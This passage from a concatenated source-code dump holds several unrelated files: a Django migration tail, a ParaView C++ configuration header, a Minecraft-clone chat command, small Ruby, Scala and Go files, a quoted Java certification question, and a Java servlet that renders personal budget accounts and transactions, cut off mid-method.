('instructor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Instructor')),
],
),
migrations.CreateModel(
name='ReviewBit',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('field', models.CharField(max_length=30)),
('score', models.FloatField()),
('review', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Review')),
],
),
migrations.CreateModel(
name='Room',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('roomnum', models.CharField(max_length=5)),
('name', models.CharField(max_length=80)),
('building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Building')),
],
),
migrations.CreateModel(
name='Section',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
('sectionnum', models.IntegerField()),
('group', models.IntegerField(null=True)),
('sectiontype', models.CharField(max_length=3, null=True)),
('oldpcr_id', models.IntegerField(null=True)),
('course', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Course')),
('instructors', models.ManyToManyField(to='courses.Instructor')),
],
),
migrations.AddField(
model_name='review',
name='section',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Section'),
),
migrations.AddField(
model_name='meetingtime',
name='room',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Room'),
),
migrations.AddField(
model_name='meetingtime',
name='section',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Section'),
),
migrations.AddField(
model_name='course',
name='history',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='courses.CourseHistory'),
),
migrations.AddField(
model_name='course',
name='primary_alias',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='courses', to='courses.Alias'),
),
migrations.AddField(
model_name='alias',
name='course',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Course'),
),
migrations.AddField(
model_name='alias',
name='department',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Department'),
),
migrations.AlterUniqueTogether(
name='section',
unique_together=set([('course', 'sectionnum')]),
),
migrations.AlterUniqueTogether(
name='room',
unique_together=set([('building', 'roomnum')]),
),
migrations.AlterUniqueTogether(
name='reviewbit',
unique_together=set([('review', 'field')]),
),
migrations.AlterUniqueTogether(
name='review',
unique_together=set([('section', 'instructor')]),
),
]
|
thibaut-mechdyne/ParaView | Remoting/Core/vtkProcessModuleConfiguration.h | <filename>Remoting/Core/vtkProcessModuleConfiguration.h<gh_stars>100-1000
/*=========================================================================
Program: ParaView
Module: vtkProcessModuleConfiguration.h
Copyright (c) Kitware, Inc.
All rights reserved.
See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
/**
* @class vtkProcessModuleConfiguration
* @brief runtime configuration for vtkProcessModule
*
* vtkProcessModuleConfiguration is a singleton that maintains runtime
* configuration options that affect how vtkProcessModule is initialized.
*/
#ifndef vtkProcessModuleConfiguration_h
#define vtkProcessModuleConfiguration_h
#include "vtkLogger.h" // for vtkLogger::Verbosity
#include "vtkObject.h"
#include "vtkProcessModule.h" // for vtkProcessModule::ProcessTypes
#include "vtkRemotingCoreModule.h" //needed for exports
#include <string> // for std::string
#include <vector> // for std::vector
class vtkCLIOptions;
class VTKREMOTINGCORE_EXPORT vtkProcessModuleConfiguration : public vtkObject
{
public:
vtkTypeMacro(vtkProcessModuleConfiguration, vtkObject);
void PrintSelf(ostream& os, vtkIndent indent) override;
/**
* Provides access to the singleton.
*/
static vtkProcessModuleConfiguration* GetInstance();
/**
* Get whether to call `MPI_Init()` on this process irrespective of
* whether MPI is needed on this process.
*/
vtkGetMacro(ForceMPIInit, bool);
/**
* Get whether to not call `MPI_Init()` on this process irrespective of
* whether MPI is needed on this process.
*/
vtkGetMacro(ForceNoMPIInit, bool);
/**
* Flag indicating whether to use synchronous send (SSend) for MPI
* communication.
*/
vtkGetMacro(UseMPISSend, bool);
/**
* Get whether to use symmetric MPI mode. In this mode is only supported
* in "batch". In that case, all processes, including the satellites, execute
* the Python script locally.
*/
vtkGetMacro(SymmetricMPIMode, bool);
/**
* Ideally, this method should not be public. However, we are keeping it
* public to avoid changing to much code at this time.
*/
vtkSetMacro(SymmetricMPIMode, bool);
/**
* Get the verbosity level to use for reporting log messages on `stderr`.
* In other words, all messages at the chosen level and higher are posted to
* `stderr`. Default is `vtkLogger::VERBOSITY_INVALID`.
*/
vtkGetMacro(LogStdErrVerbosity, vtkLogger::Verbosity);
/**
* Get the filename to use to generate client-server-stream logs, if any.
* If running in a distributed mode, the filename is automatically changed to
* include current rank index.
*/
std::string GetCSLogFileName() const;
/**
* Get whether to generate a stack trace after a crash. This is currently
* only supported on POSIX systems.
*/
vtkGetMacro(EnableStackTrace, bool);
/**
* Returns a vector of pairs for log files requested.
*/
const std::vector<std::pair<std::string, vtkLogger::Verbosity>>& GetLogFiles() const
{
return this->LogFiles;
}
/**
* Populate command line options.
* `processType` indicates which type of ParaView process the options are
* being setup for. That may affect available options.
*/
bool PopulateOptions(vtkCLIOptions* options, vtkProcessModule::ProcessTypes processType);
/**
* A helper function to add a rank number to the filename, if needed. This is
* useful to create a separate log file per rank, for example, when executing
* in parallel. If number of ranks is 1, the filename is unchanged.
*/
static std::string GetRankAnnotatedFileName(const std::string& fname);
protected:
vtkProcessModuleConfiguration();
~vtkProcessModuleConfiguration();
private:
vtkProcessModuleConfiguration(const vtkProcessModuleConfiguration&) = delete;
void operator=(const vtkProcessModuleConfiguration&) = delete;
bool ForceMPIInit = false;
bool ForceNoMPIInit = false;
bool UseMPISSend = false;
bool SymmetricMPIMode = false;
bool EnableStackTrace = false;
vtkLogger::Verbosity LogStdErrVerbosity = vtkLogger::VERBOSITY_INVALID;
std::string CSLogFileName;
std::vector<std::pair<std::string, vtkLogger::Verbosity>> LogFiles;
static vtkProcessModuleConfiguration* New();
};
#endif
|
uuk0/mcpython-4 | chat/command/CommandItemInfo.py | <reponame>uuk0/mcpython-4
"""mcpython - a minecraft clone written in python licenced under MIT-licence
authors: uuk, xkcdjerry
original game by forgleman licenced under MIT-licence
minecraft by Mojang
blocks based on 1.14.4.jar of minecraft, downloaded on 20th of July, 2019"""
import globals as G
import chat.command.Command
from chat.command.Command import ParseBridge, ParseType, ParseMode, SubCommand
import gui.ItemStack
@G.registry
class CommandItemInfo(chat.command.Command.Command):
"""
class for /iteminfo command
"""
@staticmethod
def insert_parse_bridge(parsebridge: ParseBridge):
parsebridge.main_entry = "iteminfo"
parsebridge.add_subcommand(SubCommand(ParseType.DEFINIED_STRING, "hand"))
parsebridge.add_subcommand(SubCommand(ParseType.DEFINIED_STRING, "inventory"))
parsebridge.add_subcommand(SubCommand(ParseType.DEFINIED_STRING, "item").add_subcommand(SubCommand(
ParseType.ITEMNAME)))
parsebridge.add_subcommand(SubCommand(ParseType.DEFINIED_STRING, "block").add_subcommand(
SubCommand(ParseType.DEFINIED_STRING, "inventory").add_subcommand(SubCommand(ParseType.POSITION))))
@staticmethod
def parse(values: list, modes: list, info):
if modes[1][1] == 0: # hand
itemstack = G.player.get_active_inventory_slot().itemstack
print("info to item hold in hand")
CommandItemInfo.print_info(itemstack)
elif modes[1][1] == 1: # inventory
for inventorykey in G.player.inventorys.keys():
print("info to inventory {} of player".format(inventorykey))
for i, slot in enumerate(G.player.inventorys[inventorykey].slots):
if not slot.itemstack.is_empty():
print("slot {}".format(i+1))
CommandItemInfo.print_info(slot.itemstack)
elif modes[1][1] == 2: # from item name
stack = gui.ItemStack.ItemStack(values[1])
CommandItemInfo.print_info(stack)
elif modes[1][1] == 3: # block inventories
block = G.world.get_active_dimension().get_block(values[2])
if type(block) == str: return
for i, inventory in enumerate(block.get_inventories()):
print("inventory {}".format(i+1))
for si, slot in enumerate(inventory.slots):
if not slot.itemstack.is_empty():
print("slot {}".format(si+1))
CommandItemInfo.print_info(slot.itemstack)
@staticmethod
def print_info(itemstack):
print("-amount: {}".format(itemstack.amount))
print("-itemname: '{}'".format(itemstack.get_item_name()))
if itemstack.item:
print("-has block: {}".format(itemstack.item.has_block()))
if itemstack.item.has_block():
print("-blockname: {}".format(itemstack.item.get_block()))
print("-itemfile: '{}'".format(itemstack.item.get_default_item_image_location()))
print("-max stack size: {}".format(itemstack.item.get_max_stack_size()))
tags = []
for tag in G.taghandler.taggroups["items"].tags.values():
if itemstack.item.get_name() in tag.entries:
tags.append(tag.name)
print(" -tags: {}".format(tags))
@staticmethod
def get_help() -> list:
return ["/iteminfo hand: gets info about the item in hand",
"/iteminfo inventory: gets info about every item in inventory",
"/iteminfo item <itemname>: gets info to an special item",
"/iteminfo block inventory <position>: gets info about items in an block inventory"]
|
mes-amis/checkr-ruby | lib/checkr/adverse_item.rb | module Checkr
class AdverseItem < APIResource
attribute :text
api_class_method :all, :get, '/v1/reports/:report_id/adverse_items', :constructor => :AdverseItemList
APIClass.register_subclass(self, 'adverse_item')
end
end
|
lmignot/sdp-portfolio | exercises/week11/src/main/scala/visitor/Visitor.scala | package visitor
trait Visitor {
def visit(element: HtmlElement): Unit
def visit(parentElement: HtmlParentElement): Unit
}
|
Oracle-Exam-Preparation/OCP | src/main/java/com/trl/_tests/lambdaExpression/t2/Test.java | package com.trl._tests.lambdaExpression.t2;
/**
* This test is taken from the book: OCP: Oracle ®
* Certified Professional
* Java® SE 8 Programmer II
* by <NAME>, <NAME>
* Released December 2015
* Publisher(s): Wiley
* ISBN: 9781119067900
*
* @link https://www.oreilly.com/library/view/ocp-oracle-certified/9781119067900/
*/
public class Test {
}
/*
What is the result of the following class?
import java.util.function.*;
public class Panda {
int age;
public static void main(String[] args) {
Panda p1 = new Panda();
p1.age = 1;
check(p1, p -> p.age < 5); // h1
}
private static void check(Panda panda, Predicate<Panda> pred) { // h2
String result = pred.test(panda) ? "match": "not match"; // h3
System.out.print(result);
}
}
A. match
B. not match
C. Compiler error on line h1.
D. Compiler error on line h2.
E. Compile error on line h3.
F. A runtime exception is thrown.
A. This code compiles and runs without issue so C, D, E, and F are incorrect. Line h1 creates a lambda expression that
checks if the age is less than 5. Since there is only one parameter and it does not specify a type, the parentheses
around the type parameter are optional. Line h2 uses the Predicate interface, which declares a test() method.
Since test() returns true on the expression, match is output and A is correct.
*/ |
ming3000/leetcode_300 | 005_longestPalindrome.go | package leetcode_300
func longestPalindrome(s string) string {
if len(s) < 2 {
return s
}
dp := make([][]bool, len(s))
for i := 0; i < len(s); i++ {
dp[i] = make([]bool, len(s))
}
var ret string
for i := len(s) - 1; i >= 0; i-- {
for j := i; j < len(s); j++ {
if i == j {
dp[i][j] = true
} else if j-i == 1 && s[i] == s[j] {
dp[i][j] = true
} else if s[i] == s[j] && dp[i+1][j-1] {
dp[i][j] = true
} //>>>
if dp[i][j] && j-i+1 > len(ret) {
ret = s[i : j+1]
} //>>>
} //>>
} //>
return ret
}
|
mejuri-inc/flowcommerce_spree | app/serializers/api/v2/order_serializer_decorator.rb | <reponame>mejuri-inc/flowcommerce_spree
# frozen_string_literal: true
Api::V2::OrderSerializer.class_eval do
attribute :duty_included, if: proc { object.flow_io_attributes.present? }
attribute :vat_included, if: proc { object.flow_io_attributes.present? }
def duty_included
flow_io_order_attributes&.[]('duty') == 'included'
end
def vat_included
flow_io_order_attributes&.[]('vat') == 'included'
end
private
def flow_io_order_attributes
@flow_io_order_attributes ||= Oj.load(object.flow_io_attributes['pricing_key'])
end
end
|
nathanbunker/project-tracker | src/main/java/org/openimmunizationsoftware/pt/servlet/BudgetServlet.java | /*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package org.openimmunizationsoftware.pt.servlet;
import java.io.IOException;
import java.io.PrintWriter;
import java.text.SimpleDateFormat;
import java.util.Collections;
import java.util.Comparator;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.hibernate.Query;
import org.hibernate.Session;
import org.hibernate.Transaction;
import org.openimmunizationsoftware.pt.AppReq;
import org.openimmunizationsoftware.pt.manager.MoneyUtil;
import org.openimmunizationsoftware.pt.manager.MonthUtil;
import org.openimmunizationsoftware.pt.model.BudgetAccount;
import org.openimmunizationsoftware.pt.model.BudgetItem;
import org.openimmunizationsoftware.pt.model.BudgetMonth;
import org.openimmunizationsoftware.pt.model.BudgetTrans;
import org.openimmunizationsoftware.pt.model.WebUser;
/**
*
* @author nathan
*/
public class BudgetServlet extends ClientServlet {
/**
* Processes requests for both HTTP <code>GET</code> and <code>POST</code>
* methods.
*
* @param request
* servlet request
* @param response
* servlet response
* @throws ServletException
* if a servlet-specific error occurs
* @throws IOException
* if an I/O error occurs
*/
protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
AppReq appReq = new AppReq(request, response);
try {
WebUser webUser = appReq.getWebUser();
if (appReq.isLoggedOut()) {
forwardToHome(request, response);
return;
}
Session dataSession = appReq.getDataSession();
String action = appReq.getAction();
PrintWriter out = appReq.getOut();
SimpleDateFormat sdf = webUser.getDateFormat();
Query query = dataSession
.createQuery("from BudgetAccount where provider = :provider order by accountLabel");
query.setParameter("provider", webUser.getProvider());
List<BudgetAccount> budgetAccountList = query.list();
appReq.setTitle("Budget");
printHtmlHead(appReq);
out.println("<div class=\"main\">");
out.println("<table class=\"boxed\">");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"title\" colspan=\"3\">Accounts</th>");
out.println(" </tr>");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"boxed\">Label</th>");
out.println(" <th class=\"boxed\">Date</th>");
out.println(" <th class=\"boxed\">Balance</th>");
out.println(" </tr>");
for (BudgetAccount budgetAccount : budgetAccountList) {
out.println(" <tr class=\"boxed\">");
out.println(" <td class=\"boxed\"><a href=\"BudgetServlet?accountId="
+ budgetAccount.getAccountId() + "\" class=\"button\">"
+ budgetAccount.getAccountLabel() + "</a></td>");
out.println(
" <td class=\"boxed\">" + sdf.format(budgetAccount.getBalanceDate()) + "</td>");
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(budgetAccount.getBalanceAmount()) + "</span></td>");
out.println(" </tr>");
}
out.println(" <tr class=\"boxed\">");
out.println(
" <td class=\"boxed\" colspan=\"3\"><span class=\"right\"><font size=\"-1\"><a href=\"BudgetAccountEditServlet\" class=\"box\">Add New Account</a></font></span></td>");
out.println(" </tr>");
out.println("</table>");
if (request.getParameter("accountId") != null) {
BudgetAccount budgetAccount = (BudgetAccount) dataSession.get(BudgetAccount.class,
Integer.parseInt(request.getParameter("accountId")));
Date monthDate = null;
{
String monthDateString = request.getParameter("monthDate");
if (monthDateString != null) {
try {
monthDate = MonthUtil.getMonthDate(sdf.parse(monthDateString));
} catch (Exception e) {
monthDateString = null;
}
}
if (monthDateString == null) {
monthDate = MonthUtil.getMonthDate(new Date());
}
}
BudgetMonth budgetMonth = getOrCreateBudgetMonth(dataSession, budgetAccount, monthDate);
query = dataSession.createQuery(
"from BudgetTrans where budgetMonth = ? and budgetItem.budgetAccount = ? order by transDate, transAmount desc");
query.setParameter(0, budgetMonth);
query.setParameter(1, budgetAccount);
List<BudgetTrans> budgetTransList = query.list();
Date today = new Date();
Date nextMonth = MonthUtil.getNextMonth(monthDate);
Date prevMonth = MonthUtil.getPrevMonth(monthDate);
if (nextMonth.after(today)) {
boolean foundChanges = false;
BudgetMonth prevBudgetMonth = null;
BudgetMonth prevYearBudgetMonth = null;
{
query = dataSession
.createQuery("from BudgetMonth where budgetAccount = ? and monthDate = ?");
query.setParameter(0, budgetAccount);
query.setParameter(1, prevMonth);
List<BudgetMonth> prevBudgetMonthList = query.list();
if (prevBudgetMonthList.size() > 0) {
prevBudgetMonth = prevBudgetMonthList.get(0);
}
}
{
query = dataSession
.createQuery("from BudgetMonth where budgetAccount = ? and monthDate = ?");
query.setParameter(0, budgetAccount);
query.setParameter(1, MonthUtil.getMonthLastYear(monthDate));
List<BudgetMonth> prevBudgetMonthList = query.list();
if (prevBudgetMonthList.size() > 0) {
prevBudgetMonth = prevBudgetMonthList.get(0);
}
}
if (prevBudgetMonth != null || prevYearBudgetMonth != null) {
Transaction trans = dataSession.beginTransaction();
// month is currently still active, need to make sure all items are
// added to it
query = dataSession.createQuery(
"from BudgetItem where budgetAccount = ? and itemStatus = 'M' or itemStatus = 'Y'");
query.setParameter(0, budgetAccount);
List<BudgetItem> potentialBudgetItems = query.list();
for (BudgetItem potentialBudgetItem : potentialBudgetItems) {
boolean found = false;
for (BudgetTrans budgetTrans : budgetTransList) {
if (budgetTrans.getBudgetItem().getItemId() == potentialBudgetItem.getItemId()) {
found = true;
break;
}
}
if (!found) {
boolean isMonthly =
potentialBudgetItem.getItemStatus().equals(BudgetItem.ITEM_STATUS_MONTHLY);
if ((prevBudgetMonth != null && isMonthly) || (prevYearBudgetMonth != null
&& MonthUtil.sameMonthOnly(potentialBudgetItem.getLastDate(), monthDate))) {
BudgetTrans prevBudgetTrans = null;
query = dataSession
.createQuery("from BudgetTrans where budgetItem = ? and budgetMonth = ? ");
query.setParameter(0, potentialBudgetItem);
query.setParameter(1, isMonthly ? prevBudgetMonth : prevYearBudgetMonth);
List<BudgetTrans> prevBudgetTransList = query.list();
if (prevBudgetTransList.size() > 0) {
prevBudgetTrans = prevBudgetTransList.get(0);
}
BudgetTrans budgetTrans = new BudgetTrans();
budgetTrans.setBudgetItem(potentialBudgetItem);
budgetTrans.setBudgetMonth(budgetMonth);
if (prevBudgetTrans != null) {
budgetTrans.setTransAmount(prevBudgetTrans.getTransAmount());
budgetTrans.setTransDate(
MonthUtil.thisMonth(monthDate, prevBudgetTrans.getTransDate()));
if (prevBudgetTrans.getTransStatus().equals(BudgetTrans.TRANS_STATUS_PAID)) {
budgetTrans.setTransStatus(BudgetTrans.TRANS_STATUS_EXPECTED);
} else {
budgetTrans.setTransStatus(prevBudgetTrans.getTransStatus());
}
} else {
budgetTrans.setTransAmount(0);
budgetTrans.setTransDate(
MonthUtil.thisMonth(monthDate, potentialBudgetItem.getLastDate()));
budgetTrans.setTransStatus(BudgetTrans.TRANS_STATUS_POSSIBLE);
}
dataSession.save(budgetTrans);
foundChanges = true;
}
}
}
trans.commit();
if (foundChanges) {
query = dataSession.createQuery(
"from BudgetTrans where budgetMonth = ? and budgetItem.budgetAccount = ? order by transDate, transAmount asc");
query.setParameter(0, budgetMonth);
query.setParameter(1, budgetAccount);
budgetTransList = query.list();
}
}
}
SimpleDateFormat monthTitleSdf = webUser.getMonthFormat();
out.println("<br>");
out.println("<table class=\"boxed\">");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"title\" colspan=\"6\">");
Date prevDate = MonthUtil.getPrevMonth(monthDate);
if (!prevDate.before(MonthUtil.getMonthDate(budgetAccount.getStartDate()))) {
String link = "BudgetServlet?accountId=" + budgetAccount.getAccountId() + "&monthDate="
+ sdf.format(prevDate) + "";
out.println("<font size=\"-1\"><a href=\"" + link + "\" class=\"box\">Prev</a></font>");
}
out.println(budgetAccount.getAccountLabel() + " - " + monthTitleSdf.format(monthDate));
{
String link = "BudgetServlet?accountId=" + budgetAccount.getAccountId() + "&monthDate="
+ sdf.format(MonthUtil.getNextMonth(monthDate)) + "";
out.println("<font size=\"-1\"><a href=\"" + link + "\" class=\"box\">Next</a></font>");
}
out.println("</th>");
out.println(" </tr>");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"boxed\">Date</th>");
out.println(" <th class=\"boxed\">Item</th>");
out.println(" <th class=\"boxed\">Status</th>");
out.println(" <th class=\"boxed\">Credit</th>");
out.println(" <th class=\"boxed\">Debit</th>");
out.println(" <th class=\"boxed\">Balance</th>");
out.println(" </tr>");
HashMap<String, Integer> totalsByPriorityMap = new HashMap<String, Integer>();
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_BALANCE, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_COMMITTED, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_DEBT_PAYOFF, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_FLEXIBLE, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_INCOME, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_SAVINGS, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_SCHEDULED, 0);
totalsByPriorityMap.put(BudgetItem.PRIORITY_CODE_DONATIONS, 0);
SimpleDateFormat shortSdf = webUser.getDateFormat("MMM dd");
int endingBalance = budgetMonth.getBalanceStart();
Date startDate =
budgetAccount.getStartDate().after(monthDate) ? budgetAccount.getStartDate()
: monthDate;
out.println(" <tr class=\"boxed\">");
out.println(" <td class=\"boxed\" colspan=\"5\">Starting Balance</td>");
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(endingBalance) + "</span></td>");
out.println(" </tr>");
for (BudgetTrans budgetTrans : budgetTransList) {
endingBalance += budgetTrans.getTransAmount();
String priorityCode = budgetTrans.getBudgetItem().getPriorityCode();
totalsByPriorityMap.put(priorityCode,
totalsByPriorityMap.get(priorityCode) + budgetTrans.getTransAmount());
out.println(" <tr class=\"boxed\">");
out.println(
" <td class=\"boxed\">" + shortSdf.format(budgetTrans.getTransDate()) + "</td>");
out.println(" <td class=\"boxed\"><a href=\"BudgetItemEditServlet?accountId="
+ budgetAccount.getAccountId() + "&monthDate=" + sdf.format(monthDate) + "&transId="
+ budgetTrans.getTransId() + "\" class=\"button\">"
+ budgetTrans.getBudgetItem().getItemLabel() + "</a></td>");
out.println(" <td class=\"boxed\">"
+ BudgetTrans.getTransStatusLabel(budgetTrans.getTransStatus()) + "</td>");
if (budgetTrans.getTransAmount() < 0) {
out.println(" <td class=\"boxed\"></td>");
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(-budgetTrans.getTransAmount()) + "</span></td>");
} else {
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(budgetTrans.getTransAmount()) + "</span></td>");
out.println(" <td class=\"boxed\"></td>");
}
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(endingBalance) + "<span></td>");
out.println(" </tr>");
}
Transaction trans = dataSession.beginTransaction();
budgetMonth.setBalanceEnd(endingBalance);
dataSession.update(budgetMonth);
trans.commit();
out.println(" <tr class=\"boxed\">");
out.println(
" <td class=\"boxed\" colspan=\"7\"><span class=\"right\"><font size=\"-1\"><a href=\"BudgetItemEditServlet?accountId="
+ budgetAccount.getAccountId() + "&monthDate=" + sdf.format(monthDate)
+ "\" class=\"box\">New Budget Item</a></font></span></td>");
out.println(" </tr>");
out.println("</table>");
out.println("<br/>");
out.println("<table class=\"boxed\">");
String prevPriorityCode = "";
Collections.sort(budgetTransList, new Comparator<BudgetTrans>() {
public int compare(BudgetTrans arg0, BudgetTrans arg1) {
if (arg0.getBudgetItem().getPriorityCode()
.equals(arg1.getBudgetItem().getPriorityCode())) {
if (arg0.getTransAmount() > arg1.getTransAmount()) {
return 1;
} else if (arg0.getTransAmount() < arg1.getTransAmount()) {
return -1;
}
return 0;
} else {
return arg0.getBudgetItem().getPriorityCode()
.compareTo(arg1.getBudgetItem().getPriorityCode());
}
};
});
int priorityTotal = 0;
for (BudgetTrans budgetTrans : budgetTransList) {
if (!budgetTrans.getBudgetItem().getPriorityCode().equals(prevPriorityCode)) {
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"title\" colspan=\"6\">"
+ BudgetItem.getPriorityCodeLabel(budgetTrans.getBudgetItem().getPriorityCode())
+ "</th>");
out.println(" </tr>");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"boxed\">Item</th>");
out.println(" <th class=\"boxed\">Credit</th>");
out.println(" <th class=\"boxed\">Debit</th>");
out.println(" <th class=\"boxed\">Total</th>");
out.println(" </tr>");
priorityTotal = 0;
}
prevPriorityCode = budgetTrans.getBudgetItem().getPriorityCode();
out.println(" <tr class=\"boxed\">");
out.println(" <td class=\"boxed\"><a href=\"BudgetItemEditServlet?accountId="
+ budgetAccount.getAccountId() + "&monthDate=" + sdf.format(monthDate) + "&transId="
+ budgetTrans.getTransId() + "\" class=\"button\">"
+ budgetTrans.getBudgetItem().getItemLabel() + "</a></td>");
if (budgetTrans.getTransAmount() < 0) {
out.println(" <td class=\"boxed\"></td>");
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(-budgetTrans.getTransAmount()) + "</span></td>");
} else {
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(budgetTrans.getTransAmount()) + "</span></td>");
out.println(" <td class=\"boxed\"></td>");
}
priorityTotal += budgetTrans.getTransAmount();
out.println(" <td class=\"boxed\"><span class=\"right\">"
+ MoneyUtil.format(priorityTotal) + "</span></td>");
out.println(" </tr>");
}
out.println("</table>");
out.println("<br/>");
out.println("<table class=\"boxed\">");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"title\" colspan=\"2\">Summary Report</th>");
out.println(" </tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Income</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_INCOME)) + "</td>");
out.println(" </tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Expenses</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_DONATIONS)
+ totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_COMMITTED)
+ totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_SCHEDULED)
+ totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_FLEXIBLE)
+ totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_DEBT_PAYOFF)
+ totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_SAVINGS))
+ "</td>");
out.println(" </tr>");
out.println(" <tr class=\"boxed\">");
out.println(" <th class=\"title\" colspan=\"2\">Break Down</th>");
out.println(" </tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Committed</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_COMMITTED))
+ "</td>");
out.println(" </tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Flexible</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_FLEXIBLE))
+ "</td>");
out.println(" <tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Scheduled</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_SCHEDULED))
+ "</td>");
out.println(" </tr>");
out.println(" </tr>");
out.println(" <th class=\"boxed\">Donations</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_DONATIONS))
+ "</td>");
out.println(" </tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Debt Payoff</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_DEBT_PAYOFF))
+ "</td>");
out.println(" </tr>");
out.println(" <tr>");
out.println(" <th class=\"boxed\">Savings</th>");
out.println(" <td class=\"boxed\">"
+ MoneyUtil.format(totalsByPriorityMap.get(BudgetItem.PRIORITY_CODE_SAVINGS))
+ "</td>");
out.println(" </tr>");
out.println("</table>");
out.println("<h2>Balance Account</h2>");
out.println("<p><a href=\"BudgetBalanceServlet?accountId=" + budgetAccount.getAccountId()
+ "\" class=\"box\">Balance Account</a></p>");
out.println("<h2>Manage Transaction Records</h2>");
out.println("<p><a href=\"BudgetTransRecordServlet?accountId="
+ budgetAccount.getAccountId() + "\" class=\"box\">Manage Transaction Records</a></p>");
}
out.println("</div>");
printHtmlFoot(appReq);
} finally {
appReq.close();
}
}
protected static BudgetMonth getOrCreateBudgetMonth(Session dataSession,
BudgetAccount budgetAccount, Date monthDate) {
Query query;
BudgetMonth budgetMonth = null;
query = dataSession.createQuery("from BudgetMonth where budgetAccount = ? and monthDate = ?");
query.setParameter(0, budgetAccount);
query.setParameter(1, monthDate);
List<BudgetMonth> budgetMonthList = query.list();
if (budgetMonthList.size() == 0) {
budgetMonth = new BudgetMonth();
budgetMonth.setBudgetAccount(budgetAccount);
budgetMonth.setMonthDate(monthDate);
} else {
budgetMonth = budgetMonthList.get(0);
}
query.setParameter(0, budgetAccount);
query.setParameter(1, MonthUtil.getPrevMonth(monthDate));
List<BudgetMonth> prevBudgetMonthList = query.list();
BudgetMonth prevBudgetMonth = null;
if (prevBudgetMonthList.size() == 1) {
prevBudgetMonth = prevBudgetMonthList.get(0);
}
Transaction trans = dataSession.beginTransaction();
try {
if (prevBudgetMonth == null) {
budgetMonth.setBalanceStart(budgetAccount.getStartAmount());
budgetMonth.setBalanceEnd(budgetAccount.getStartAmount());
} else {
budgetMonth.setBalanceStart(prevBudgetMonth.getBalanceEnd());
budgetMonth.setBalanceEnd(prevBudgetMonth.getBalanceEnd());
}
dataSession.saveOrUpdate(budgetMonth);
} finally {
trans.commit();
}
return budgetMonth;
}
protected static BudgetMonth getBudgetMonth(Session dataSession, BudgetAccount budgetAccount,
Date monthDate) {
Query query;
BudgetMonth budgetMonth = null;
